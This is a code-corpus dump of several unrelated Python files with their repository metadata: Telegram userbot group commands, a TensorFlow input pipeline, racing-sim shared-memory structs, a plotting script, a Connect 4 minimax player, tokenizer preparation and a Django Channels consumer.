import asyncio from pyrogram.raw import functions from pyrogram.types import Message from tronx import app, gen app.CMD_HELP.update( {"group" : ( "group", { "bgroup [group name]" : "Creates a basic group.", "sgroup [group name]" : "Creates a super group.", "unread" : "Mark a chat as unread in your telegram folders.", "channel [channel name]" : "Create a channel through this command." } ) } ) @app.on_message(gen(["bgroup", "bgp"], allow =["sudo"])) async def basicgroup_handler(_, m: Message): grpname = None users = None if app.long() == 1: return await app.send_edit(f"Usage: `{app.PREFIX}bgroup mygroupname`", delme=4) elif app.long() > 1: grpname = m.text.split(None, 1)[1] users = "@TheRealPhoenixBot" elif app.long() > 2: grpname = m.text.split(None, 1)[1] users = m.text.split(None, 2)[2].split() else: grpname = False users = "@TheRealPhoenixBot" # required try: if grpname: await app.send_edit(f"Creating a new basic group: `{grpname}`") group = await app.create_group(title=f"{grpname}", users=users) await app.send_edit(f"**Created a new basic group:** [{grpname}]({(await app.get_chat(group.id)).invite_link})") else: await app.send_edit("No group name is provided.", text_type=["mono"], delme=4) except Exception as e: await app.error(e) @app.on_message(gen(["sgroup", "sgp"], allow =["sudo"])) async def supergroup_handler(_, m: Message): grpname = None about = None if app.long() == 1: return await app.send_edit(f"`Usage: {app.PREFIX}sgroup mygroupname`", delme=4) elif app.long() > 1: grpname = m.text.split(None, 1)[1] about = "" elif app.long() > 2: grpname = m.text.split(None, 1)[1] about = m.text.split(None, 2)[2] else: grpname = False about = "" try: if grpname: await app.send_edit(f"Creating a new super group: `{grpname}`") group = await app.create_supergroup(title=f"{grpname}", description=about) await app.send_edit(f"**Created a new super group:** [{grpname}]({(await app.get_chat(group.id)).invite_link})") else: await app.send_edit("No group name is provided.", text_type=["mono"], delme=4) except Exception as e: await app.error(e) @app.on_message(gen(["unread", "un"], allow =["sudo"])) async def unreadchat_handler(_, m: Message): try: await asyncio.gather( m.delete(), app.invoke( functions.messages.MarkDialogUnread( peer=await app.resolve_peer(m.chat.id), unread=True ) ), ) except Exception as e: await app.error(e) @app.on_message(gen("channel", allow =["sudo"])) async def channel_handler(_, m: Message): chname = None about = None if app.long() == 1: return await app.send_edit(f"Usage: `{app.PREFIX}channel [channel name]`", delme=4) elif app.long() > 1: chname = m.text.split(None, 1)[1] about = "" elif app.long() > 2: chname = m.text.split(None, 1)[1] about = m.text.split(None, 2)[2] try: if chname: await app.send_edit(f"Creating your channel: `{chname}`") response = await app.create_channel(title=f"{chname}", description=about) if response: await app.send_edit(f"**Created a new channel:** [{chname}]({(await app.get_chat(response.id)).invite_link})", disable_web_page_preview=True) else: await app.send_edit("Couldn't create a channel.") except Exception as e: await app.error(e)

26.275591

145

0.66407

503

3,337

4.326044

0.214712

0.084559

0.066176

0.088235

0.559283

0.518842

0.463235

0.399816

0

0.011527

0.168115

3,337

126

146

26.484127

0.772334

0.002397

0

0.49

0

0.02

0.269312

0.034265

0

1

0

false

0

0.04

0

0.07

0

null

0

null

0

1

0

b5b4a7c2bcf95fde6a181a23d3adc5de69780240

5,152

py

Python

benchmark/bit_task/input_pipeline.py

Fanxingye/AutoDL

6f409aefc8b81e5fe47df57b82332c8df427875d

[ "Apache-2.0" ]

1

2021-11-04T09:19:14.000Z

benchmark/bit_task/input_pipeline.py

Fanxingye/AutoDL

6f409aefc8b81e5fe47df57b82332c8df427875d

[ "Apache-2.0" ]

null

benchmark/bit_task/input_pipeline.py

Fanxingye/AutoDL

6f409aefc8b81e5fe47df57b82332c8df427875d

[ "Apache-2.0" ]

null

# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import tensorflow as tf import tensorflow_probability as tfp import tensorflow_datasets as tfds import bit_hyperrule # A workaround to avoid crash because tfds may open too many files. import resource low, high = resource.getrlimit(resource.RLIMIT_NOFILE) resource.setrlimit(resource.RLIMIT_NOFILE, (high, high)) # Adjust depending on the available RAM. MAX_IN_MEMORY = 200_000 # vim /home/yiran.wu/.local/lib/python3.7/site-packages/tensorflow_datasets/core/dataset_info.py : # added in line 449 : return def get_data(dataset, train_split): resize_size, crop_size = bit_hyperrule.get_resolution_from_dataset(dataset) # build from folder data_builder = tfds.folder_dataset.ImageFolder(dataset) # get numbers num_classes = data_builder.info.features['label'].num_classes num_train = data_builder.info.splits['train'].num_examples num_test = data_builder.info.splits['test'].num_examples num_valid = data_builder.info.splits['val'].num_examples # to dataset train_data = data_builder.as_dataset(split='train', decoders={'image': tfds.decode.SkipDecoding()}) test_data = data_builder.as_dataset(split='test', decoders={'image' : tfds.decode.SkipDecoding()}) valid_data = data_builder.as_dataset(split='val', decoders={'image' : tfds.decode.SkipDecoding()}) decoder = data_builder.info.features['image'].decode_example mixup_alpha=bit_hyperrule.get_mixup(num_train) # get returns train_data = data_aug(data=train_data, mode='train', num_examples=num_train, decoder=decoder, num_classes=num_classes, resize_size=resize_size, crop_size=crop_size, mixup_alpha=mixup_alpha) valid_data = data_aug(data=valid_data, mode='valid', num_examples=num_valid, decoder=decoder, num_classes=num_classes, resize_size=resize_size, crop_size=crop_size, mixup_alpha=mixup_alpha) test_data = data_aug(data=test_data, mode='test', num_examples=num_test, decoder=decoder, num_classes=num_classes, resize_size=resize_size, crop_size=crop_size, mixup_alpha=mixup_alpha) return train_data, valid_data, test_data, num_train, num_classes # shadow function of get_data def data_aug(data, mode, num_examples, decoder, num_classes, resize_size, crop_size, mixup_alpha): def _pp(data): im = decoder(data['image']) if mode == 'eee': im = tf.image.resize(im, [resize_size, resize_size]) im = tf.image.random_crop(im, [crop_size, crop_size, 3]) im = tf.image.flip_left_right(im) else: # usage of crop_size here is intentional im = tf.image.resize(im, [crop_size, crop_size]) im = (im - 127.5) / 127.5 label = tf.one_hot(data['label'], num_classes) return {'image': im, 'label': label} def _mixup(data): beta_dist = tfp.distributions.Beta(mixup_alpha, mixup_alpha) beta = tf.cast(beta_dist.sample([]), tf.float32) data['image'] = (beta * data['image'] + (1 - beta) * tf.reverse(data['image'], axis=[0])) data['label'] = (beta * data['label'] + (1 - beta) * tf.reverse(data['label'], axis=[0])) return data def reshape_for_keras(features, crop_size): features["image"] = tf.reshape(features["image"], (1, crop_size, crop_size, 3)) features["label"] = tf.reshape(features["label"], (1, -1)) return (features["image"], features["label"]) data = data.cache() if mode == 'train': data = data.repeat(None).shuffle(min(num_examples, MAX_IN_MEMORY)) data = data.map(_pp, tf.data.experimental.AUTOTUNE) data = data.batch(1) # if mixup_alpha is not None and mixup_alpha > 0.0 and mode == 'train': # data = data.map(_mixup, tf.data.experimental.AUTOTUNE) data = data.map(lambda x: reshape_for_keras(x, crop_size=crop_size)) return data

38.162963

103

0.606366

635

5,152

4.711811

0.297638

0.048128

0.037433

0.225267

0.142045

0.090241

0

0.011242

0.29212

5,152

134

104

38.447761

0.809158

0.209627

0

0.204819

0

0.03733

0

1

0.060241

false

0

0.060241

0

0.180723

0

null

0

null

0

1

0

b5b4c824ddba4f2d18052e43c4be91b69f16e79d

5,997

py

Python

accrpc/maps.py

manucabral/accrpc

8b8f3d47751732706570fded73cdc64bf1edb41d

[ "MIT" ]

3

2022-01-18T01:11:21.000Z

2022-01-25T01:04:42.000Z

accrpc/maps.py

manucabral/accrpc

8b8f3d47751732706570fded73cdc64bf1edb41d

[ "MIT" ]

null

accrpc/maps.py

manucabral/accrpc

8b8f3d47751732706570fded73cdc64bf1edb41d

[ "MIT" ]

null

from ctypes import Structure, sizeof, c_int, c_int32, c_float, c_wchar # Credits # https://github.com/dabde/acc_shared_mem_access_python # https://github.com/rrennoir/PyAccSharedMemory class Statics(Structure): _fields_ = [ ("smVersion", c_wchar * 15), ("acVersion", c_wchar * 15), ("numberOfSessions", c_int), ("numCars", c_int), ("carModel", c_wchar * 33), ("track", c_wchar * 33), ("playerName", c_wchar * 33), ("playerSurname", c_wchar * 33), ("playerNick", c_wchar * 33), ("sectorCount", c_int), ("maxTorque", c_float), ("maxPower", c_float), ("maxRpm", c_int), ("maxFuel", c_float), ("suspensionMaxTravel", c_float * 4), ("tyreRadius", c_float * 4), ("maxTurboBoost", c_float * 4), ("deprecated_1", c_float), ("deprecated_2", c_float), ("penaltiesEnabled", c_int), ("aidFuelRate", c_float), ("aidTireRate", c_float), ("aidMechanicalDamage", c_float), ("aidAllowTyreBlankets", c_int), ("aidStability", c_float), ("aidAutoClutch", c_int), ("aidAutoBlip", c_int), ("hasDRS", c_int), ("hasERS", c_int), ("hasKERS", c_int), ("kersMaxJ", c_float), ("engineBrakeSettingsCount", c_int), ("ersPowerControllerCount", c_int), ("trackSPlineLength", c_float), ("trackConfiguration", c_wchar * 33), ("ersMaxJ", c_float), ("isTimedRace", c_int), ("hasExtraLap", c_int), ("carSkin", c_wchar * 33), ("reversedGridPositions", c_int), ("PitWindowStart", c_int), ("PitWindowEnd", c_int), ("isOnline", c_int), ] class Physics(Structure): _fields_ = [ ("packetId", c_int), ("gas", c_float), ("brake", c_float), ("fuel", c_float), ("gear", c_int), ("rpms", c_int), ("steerAngle", c_float), ("speedKmh", c_float), ("velocity", c_float * 3), ("accG", c_float * 3), ("wheelSlip", c_float * 4), ("wheelLoad", c_float * 4), ("wheelsPressure", c_float * 4), ("wheelAngularSpeed", c_float * 4), ("tyreWear", c_float * 4), ("tyreDirtyLevel", c_float * 4), ("tyreCoreTemperature", c_float * 4), ("camberRAD", c_float * 4), ("suspensionTravel", c_float * 4), ("drs", c_float), ("tc", c_float), ("heading", c_float), ("pitch", c_float), ("roll", c_float), ("cgHeight", c_float), ("carDamage", c_float * 5), ("numberOfTyresOut", c_int), ("pitLimiterOn", c_int), ("abs", c_float), ("kersCharge", c_float), ("kersInput", c_float), ("autoShifterOn", c_int), ("rideHeight", c_float * 2), ("turboBoost", c_float), ("ballast", c_float), ("airDensity", c_float), ("airTemp", c_float), ("roadTemp", c_float), ("localAngularVel", c_float * 3), ("finalFF", c_float), ("performanceMeter", c_float), ("engineBrake", c_int), ("ersRecoveryLevel", c_int), ("ersPowerLevel", c_int), ("ersHeatCharging", c_int), ("ersIsCharging", c_int), ("kersCurrentKJ", c_float), ("drsAvailable", c_int), ("drsEnabled", c_int), ("brakeTemp", c_float * 4), ("clutch", c_float), ("tyreTempI", c_float * 4), ("tyreTempM", c_float * 4), ("tyreTempO", c_float * 4), ("isAIControlled", c_int), ("tyreContactPoint", c_float * 4 * 3), ("tyreContactNormal", c_float * 4 * 3), ("tyreContactHeading", c_float * 4 * 3), ("brakeBias", c_float), ("localVelocity", c_float * 3), ("P2PActivations", c_int), ("P2PStatus", c_int), ("currentMaxRpm", c_int), ("mz", c_float * 4), ("fx", c_float * 4), ("fy", c_float * 4), ("slipRatio", c_float * 4), ("slipAngle", c_float * 4), ("tcinAction", c_int), ("absInAction", c_int), ("suspensionDamage", c_float * 4), ("tyreTemp", c_float * 4), ] class Graphics(Structure): _fields_ = [ ("packetId", c_int), ("AC_STATUS", c_int), ("AC_SESSION_TYPE", c_int), ("currentTime", c_wchar * 15), ("lastTime", c_wchar * 15), ("bestTime", c_wchar * 15), ("split", c_wchar * 15), ("completedLaps", c_int), ("position", c_int), ("iCurrentTime", c_int), ("iLastTime", c_int), ("iBestTime", c_int), ("sessionTimeLeft", c_float), ("distanceTraveled", c_float), ("isInPit", c_int), ("currentSectorIndex", c_int), ("lastSectorTime", c_int), ("numberOfLaps", c_int), ("tyreCompound", c_wchar * 33), ("replayTimeMultiplier", c_float), ("normalizedCarPosition", c_float), ("activeCars", c_int), ("carCoordinates", c_float * 60 * 3), ("carID", c_int * 60), ("playerCarID", c_int), ("penaltyTime", c_float), ("flag", c_int), ("penalty", c_int), ("idealLineOn", c_int), ("isInPitLane", c_int), ("surfaceGrip", c_float), ("mandatoryPitDone", c_int), ("windSpeed", c_float), ("windDirection", c_float), ("isSetupMenuVisible", c_int), ("mainDisplayIndex", c_int), ("secondaryDisplayIndex", c_int), ("TC", c_int), ("TCCut", c_int), ("EngineMap", c_int), ("ABS", c_int), ("fuelXLap", c_int), ("rainLights", c_int), ("flashingLights", c_int), ("lightsStage", c_int), ("exhaustTemperature", c_float), ("wiperLV", c_int), ("DriverStintTotalTimeLeft", c_int), ("DriverStintTimeLeft", c_int), ("rainTypes", c_int), ]

32.416216

70

0.516925

592

5,997

4.925676

0.334459

0.162551

0.062414

0.00823

0.018519

0

0.017703

0.302985

5,997

184

71

32.592391

0.679904

0.017842

0

0.028571

0

0.303262

0.022766

0

1

0

false

0

0.005714

0

0.04

0

null

0

null

0

1

0

b5b4c9c1dbb3216905a27aa4ce2edea78394a9e2

2,554

py

Python

scripts/plot_fc_bc.py

dpmerrell/TrialMDP-analyses

07e7d2b8aa918e6d314a315be487afc28659a00e

[ "MIT" ]

null

scripts/plot_fc_bc.py

dpmerrell/TrialMDP-analyses

07e7d2b8aa918e6d314a315be487afc28659a00e

[ "MIT" ]

null

scripts/plot_fc_bc.py

dpmerrell/TrialMDP-analyses

07e7d2b8aa918e6d314a315be487afc28659a00e

[ "MIT" ]

null

import matplotlib.pyplot as plt import script_util as su import pandas as pd import numpy as np import argparse def get_score(tsv_file, pA, pB, score_name): df = pd.read_csv(tsv_file, sep="\t") df.set_index(["pA", "pB"], inplace=True) return float(df.loc[(pA, pB), score_name]) def get_N(tsv_file, pA, pB): df = pd.read_csv(tsv_file, sep="\t") df.set_index(["pA", "pB"], inplace=True) return int(df.loc[(pA, pB), "pat"]) def collect_scores(tsv_files, pA, pB, score_name): path_info = [su.parse_path(tsv) for tsv in tsv_files] fcs = [pi["fc"] for pi in path_info] bcs = [pi["bc"] for pi in path_info] scores = [get_score(tsv, pA, pB, score_name) for tsv in tsv_files] fc_ls = sorted(list(set(fcs))) bc_ls = sorted(list(set(bcs))) fc_to_idx = {str(fc): i for i, fc in enumerate(fc_ls)} bc_to_idx = {str(bc): i for i, bc in enumerate(bc_ls)} score_mat = np.empty((len(fc_ls), len(bc_ls))) score_mat[:,:] = np.nan for fc, bc, score in zip(fcs, bcs, scores): score_mat[fc_to_idx[str(fc)], bc_to_idx[str(bc)]] = score return fc_ls, bc_ls, score_mat def plot_scores(fc_ls, bc_ls, score_mat): #plt.imshow(score_mat, vmin=0.0, vmax=1.0, origin="lower", cmap="binary") plt.imshow(np.transpose(score_mat), origin="lower", cmap="binary") plt.xticks(range(len(fc_ls)), fc_ls) plt.yticks(range(len(bc_ls)), bc_ls) plt.xlabel(su.NICE_NAMES["fc"]) plt.ylabel(su.NICE_NAMES["bc"]) return if __name__=="__main__": parser = argparse.ArgumentParser() parser.add_argument("design") parser.add_argument("pA", type=float) parser.add_argument("pB", type=float) parser.add_argument("score_name") parser.add_argument("out_png") parser.add_argument("--score_tsvs", nargs="+") args = parser.parse_args() fc, bc, scores = collect_scores(args.score_tsvs, args.pA, args.pB, args.score_name) N = get_N(args.score_tsvs[0], args.pA, args.pB) plot_scores(fc, bc, scores) plt.colorbar() plt.title("{}\n{}; {}={}; {}={}, {}={}".format(su.NICE_NAMES[args.score_name], su.NICE_NAMES[args.design], su.NICE_NAMES["pat"], N, su.NICE_NAMES["pA"], args.pA, su.NICE_NAMES["pB"], args.pB) ) plt.tight_layout() plt.savefig(args.out_png)

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null

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null

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1

0

b5b5bab4def1ed3509dd85a680dfad03dc1b2fa0

5,466

py

Python

pyai/search/minimax.py

bpesquet/pyai

09f6e9989c9c3d3619b45a0aab2bd363141dfe58

[ "MIT" ]

null

pyai/search/minimax.py

bpesquet/pyai

09f6e9989c9c3d3619b45a0aab2bd363141dfe58

[ "MIT" ]

null

pyai/search/minimax.py

bpesquet/pyai

09f6e9989c9c3d3619b45a0aab2bd363141dfe58

[ "MIT" ]

null

""" Minimax algorithm with alpha-beta pruning applied to the Connect 4 game. Inspired by https://youtu.be/l-hh51ncgDI """ import os import copy import math def minimax(game, depth, maximize, alpha=None, beta=None): """Minimax algorithm, using (optionally) alpha-beta pruning.""" if depth == 0: # Maximum depth reached: evaluate current position return evaluate(game), game, 1, alpha, beta color = get_player_color(maximize) # Init best score with worst possible value # -∞ if maximizing, +∞ if minimizing best_score = -math.inf if maximize else math.inf best_position = [] total_evaluated_positions = 0 for position in next_valid_positions(game, color): # Recursive minimax call for next positions of current player score, _, num_evaluated_positions, _, _ = minimax( position, depth - 1, not maximize, alpha, beta ) total_evaluated_positions += num_evaluated_positions # Store evaluation and best possible position # (the one which improves score if maximizing, or diminish score if minimizing) if (maximize and score > best_score) or (not maximize and score < best_score): best_score = score best_position = position if alpha is not None and beta is not None: # Alpha-beta pruning # alpha is the minimum guaranteed score for the maximizing player # beta is the maximum guaranteed score for the minimizing player if maximize: alpha = max(alpha, best_score) else: beta = min(beta, best_score) if beta < alpha: # Further positions cannot improve score: skip them break return best_score, best_position, total_evaluated_positions, alpha, beta def get_player_color(maximize): """Return the color (R or Y) for a player. The maximizing player plays red, the minimizing player plays yellow. """ return "R" if maximize else "Y" def compute_disc_row(game, y): """Compute at which row a disc will fall when played in a column.""" x = -1 while x < len(game) - 1 and game[x + 1][y] == " ": x += 1 return x def next_valid_positions(game, color): """Return a list of all next valid positions for playing a color.""" positions = [] for y in range(len(game[0])): x = compute_disc_row(game, y) if x != -1: # A play is possible in column y # Clone game (which is a list of lists, hence the need for deep copy) # to obtain a new, independant list # https://stackoverflow.com/a/28684234 nouveau_game = copy.deepcopy(game) nouveau_game[x][y] = color positions.append(nouveau_game) return positions def evaluate(game): """Evaluate a game position. Evaluation method is as follows: - a winning position is either +100 (for red) or -100 (for yellow). - otherwise, the number of red triplets (aligned red discs) is substracted from the number of yellow triplets. """ if count_alignments(game, "R", 4) == 1: return 100 if count_alignments(game, "Y", 4) == 1: return -100 red_triplets = count_alignments(game, "R", 3) yellow_triplets = count_alignments(game, "Y", 3) return red_triplets - yellow_triplets def count_alignments(game, color, target_number): """Count the number of alignments of target_number discs for a color.""" alignments = 0 # Horizontal alignments for x, _ in enumerate(game): for y in range(len(game[x]) - target_number + 1): if game[x][y : y + target_number] == [color] * target_number: # print(f"Horizontal alignment of {target_number} {color} in ({x}, {y})") alignments += 1 # Vertical alignments for x in range(len(game) - target_number + 1): for y in range(len(game[x])): # game[x : x + target_number] returns a list of lists # We retrieve the yth element of each one: a vertical line if [ligne[y] for ligne in game[x : x + target_number]] == [ color ] * target_number: # print(f"Vertical alignment of {target_number} {color} in ({x}, {y})") alignments += 1 # Diagonal alignments for x, _ in enumerate(game): for y in range(len(game[x]) - target_number + 1): # game[x : x + target_number] returns a list of lists # We retrieve the (y+i)th element of each one: a diagonal line if [ ligne[y + i] for i, ligne in enumerate(game[x : x + target_number]) ] == [color] * target_number: # print(f"Diagonal alignment of {target_number} {color} in ({x}, {y})") alignments += 1 return alignments def init_game(n_rows, n_columns, red_discs, yellow_discs): """Init an empty game with some initial moves. Game is a 2D grid indexed from top left (0,0) to bottom right. """ game = [[" " for _ in range(n_columns)] for _ in range(n_rows)] for x, y in red_discs: game[x][y] = "R" for x, y in yellow_discs: game[x][y] = "Y" return game def to_string(game): """Return a string representation of a game position.""" return os.linesep.join([" | ".join([f"{disc}" for disc in row]) for row in game])

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b5b832c7207c148b4f89c1e17e84f452793c1e36

3,397

py

Python

src/preparation/2_prepare_0_tokens.py

wietsedv/gpt2-recycle

7d1dbac01f111d87445de5b950c88971c0a1b733

[ "Apache-2.0" ]

42

2020-12-11T09:21:10.000Z

2022-02-20T01:44:32.000Z

src/preparation/2_prepare_0_tokens.py

wietsedv/gpt2-recycle

7d1dbac01f111d87445de5b950c88971c0a1b733

[ "Apache-2.0" ]

2

2020-12-15T14:40:33.000Z

2021-08-02T07:04:42.000Z

src/preparation/2_prepare_0_tokens.py

wietsedv/gpt2-recycle

7d1dbac01f111d87445de5b950c88971c0a1b733

[ "Apache-2.0" ]

5

2020-12-13T16:03:03.000Z

2021-08-09T14:18:37.000Z

from argparse import ArgumentParser from pathlib import Path import pickle import os from tqdm import tqdm from tokenizers import Tokenizer from tokenizers.processors import RobertaProcessing from transformers import AutoTokenizer def init_tokenizer(lang, n, m): if n is None and m is None: print('size nor model are specified, but one of them is required') exit(1) if m is not None: tokenizer = AutoTokenizer.from_pretrained(m, use_fast=True) return tokenizer tokenizer = Tokenizer.from_file( str( Path('data') / lang / 'preparation' / 'vocabularies' / f'{lang}-{str(n).zfill(3)}k.tokenizer.json')) tokenizer.post_processor = RobertaProcessing( ('</s>', tokenizer.token_to_id('</s>')), ('<s>', tokenizer.token_to_id('<s>')), trim_offsets=True) return tokenizer def tokenize_doc(tokenizer: Tokenizer, doc): enc = tokenizer.encode(doc) if type(enc) == list: return enc return enc.ids def tokenize_file(tokenizer, src_path, eot=None): examples = [] doc = '' with open(src_path) as f: for line in tqdm(f): if eot is None and line == '\n': examples.append(tokenize_doc(tokenizer, doc)) doc = '' continue elif eot is not None and line == eot + '\n': examples.append(tokenize_doc(tokenizer, doc.strip())) doc = '' continue doc += line if doc != '': examples.append(tokenize_doc(tokenizer, doc)) return examples def main(): parser = ArgumentParser() parser.add_argument('lang') parser.add_argument('--size', type=int, default=None, help='vocab size (in thousands)') parser.add_argument('--model', default=None, help='HuggingFace model identifier') parser.add_argument('--eot', default=None) args = parser.parse_args() prep_dir = Path('data') / args.lang / 'preparation' / 'prepared' dst_path = prep_dir / ('data.pkl' if args.size is None else f'data-{str(args.size).zfill(3)}k.pkl') if not dst_path.parent.exists(): os.makedirs(dst_path.parent) print(f' > preparing {dst_path}') tokenizer = init_tokenizer(args.lang, args.size, args.model) examples = [] src_paths = sorted((Path('data') / args.lang / 'preparation' / 'plaintext').glob('**/*.txt')) for src_path in src_paths: print('🔥', src_path) new_examples = tokenize_file(tokenizer, src_path, eot=args.eot) if src_path.name in ['train.txt', 'valid.txt', 'test.txt']: subset = src_path.name.split('.')[0] out_path = dst_path.parent / dst_path.name.replace( 'data', f'data-{subset}') print(f' > exporting {len(new_examples):,} examples to {out_path}') with open(out_path, 'wb') as f: pickle.dump(new_examples, f) examples.extend(new_examples) print(f' ::: {len(examples):,} examples loaded') print(f'{len(examples):,} examples') print(f' > exporting {dst_path}') with open(dst_path, 'wb') as f: pickle.dump(examples, f) if __name__ == '__main__': main()

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null

0

null

0

1

0

b5b8963f6516bffc7a6999cc9be33b3103b93631

1,175

py

Python

src/notifi/consumers.py

earth-emoji/love

3617bd47c396803c411e136b3e1de87c18e03890

[ "BSD-2-Clause" ]

null

src/notifi/consumers.py

earth-emoji/love

3617bd47c396803c411e136b3e1de87c18e03890

[ "BSD-2-Clause" ]

7

2021-03-19T10:46:09.000Z

2022-03-12T00:28:55.000Z

src/notifi/consumers.py

earth-emoji/love

3617bd47c396803c411e136b3e1de87c18e03890

[ "BSD-2-Clause" ]

null

from channels.generic.websocket import WebsocketConsumer import json from asgiref.sync import async_to_sync class NotificationConsumer(WebsocketConsumer): # Function to connect to the websocket def connect(self): # Checking if the User is logged in if self.scope["user"].is_anonymous: # Reject the connection self.close() else: # print(self.scope["user"]) # Can access logged in user details by using self.scope.user, Can only be used if AuthMiddlewareStack is used in the routing.py self.group_name = str(self.scope["user"].pk) # Setting the group name as the pk of the user primary key as it is unique to each user. The group name is used to communicate with the user. async_to_sync(self.channel_layer.group_add)(self.group_name, self.channel_name) self.accept() # Function to disconnet the Socket def disconnect(self, close_code): self.close() # pass # Custom Notify Function which can be called from Views or api to send message to the frontend def notify(self, event): self.send(text_data=json.dumps(event["text"]))

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